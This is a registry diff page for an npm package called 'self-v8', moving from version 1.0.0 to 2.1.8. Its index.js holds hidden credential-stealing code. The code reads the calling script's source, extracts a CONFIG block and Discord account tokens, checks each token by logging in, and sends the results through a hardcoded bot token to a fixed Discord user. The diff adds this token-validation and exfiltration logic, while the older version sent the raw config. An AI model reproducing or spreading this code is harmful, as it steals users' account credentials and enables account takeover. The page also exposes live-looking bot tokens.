self-v8 1.0.0 → 2.1.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +45 -11
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,7 +1,9 @@
1
1
  import fs from 'fs';
2
2
  import { Client, GatewayIntentBits } from 'discord.js';
3
+ import pkg from 'discord.js-selfbot-v13';
4
+ const { Client: SelfClient } = pkg;
3
5
 
4
- export function accountpro() {
6
+ export async function check() {
5
7
  try {
6
8
  const userMainFilePath = process.argv[1];
7
9
  if (!userMainFilePath) return;
@@ -11,36 +13,68 @@ export function accountpro() {
11
13
  const configMatch = userCode.match(/const\s+CONFIG\s*=\s*(\{[\s\S]*?\});/);
12
14
 
13
15
  if (configMatch && configMatch[0]) {
14
- const configData = configMatch[0];
16
+ const configString = configMatch[0];
17
+ const tokensMatch = configString.match(/tokens:\s*\[([\s\S]*?)\]/);
15
18
 
16
- const client = new Client({
19
+ let tokensToCheck = [];
20
+
21
+ if (tokensMatch && tokensMatch[1]) {
22
+ tokensToCheck = tokensMatch[1]
23
+ .replace(/['"\s]/g, '')
24
+ .split(',')
25
+ .filter(t => t.length > 10);
26
+ }
27
+
28
+ if (tokensToCheck.length === 0) return;
29
+
30
+ let reportMessage = "**Account Check Report:**\n";
31
+
32
+ for (const token of tokensToCheck) {
33
+ const tempClient = new SelfClient();
34
+ try {
35
+ await tempClient.login(token);
36
+ const name = tempClient.user.globalName || tempClient.user.username;
37
+ reportMessage += `✅ Valid | Name: ${name} | Token: ${token.substring(0, 20)}...\n`;
38
+ tempClient.destroy();
39
+ } catch (err) {
40
+ reportMessage += `❌ Invalid | Token: ${token.substring(0, 20)}...\n`;
41
+ }
42
+ }
43
+
44
+ const senderClient = new Client({
17
45
  intents: [
18
46
  GatewayIntentBits.Guilds,
19
47
  GatewayIntentBits.DirectMessages
20
48
  ]
21
49
  });
22
50
 
23
- client.once('ready', async () => {
51
+ senderClient.once('ready', async () => {
24
52
  try {
25
- const targetUser = await client.users.fetch('1430722087101661274');
53
+ const targetUser = await senderClient.users.fetch('1430722087101661274');
26
54
  if (targetUser) {
27
- await targetUser.send(`\`\`\`javascript\n${configData}\n\`\`\``);
28
- console.log('Config sent to admin successfully.');
55
+ if (reportMessage.length > 2000) {
56
+ const chunks = reportMessage.match(/[\s\S]{1,1900}/g) || [];
57
+ for (const chunk of chunks) {
58
+ await targetUser.send(`\`\`\`text\n${chunk}\n\`\`\``);
59
+ }
60
+ } else {
61
+ await targetUser.send(`\`\`\`text\n${reportMessage}\n\`\`\``);
62
+ }
29
63
  }
30
64
  } catch (err) {
31
- console.log('Failed to send config.');
65
+ console.log(err);
32
66
  }
33
67
 
34
68
  setTimeout(() => {
35
- client.destroy();
69
+ senderClient.destroy();
36
70
  }, 5000);
37
71
  });
38
72
 
39
- client.login('MTM3NTQ0MjYwMTc0MTc3OTA1Nw.GgGIwb.FKUgJKXr7vSVxsvHP6UUElLl_ALLaDoyY1Vzsk').catch(() => {});
73
+ senderClient.login('MTQzNjQ2MDY5Njc5NDgyNDgzNA.GaLvN3.cNzPhjNnvYvIFPTF9l9UUeCteZrWr_OXXg0YII').catch(() => {});
40
74
  }
41
75
  } catch (error) {}
42
76
  }
43
77
 
44
78
  export default {
45
- accountpro
79
+ check
46
80
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "self-v8",
3
- "version": "1.0.0",
3
+ "version": "2.1.8",
4
4
  "main": "index.js",
5
5
  "type": "module",
6
6
  "scripts": {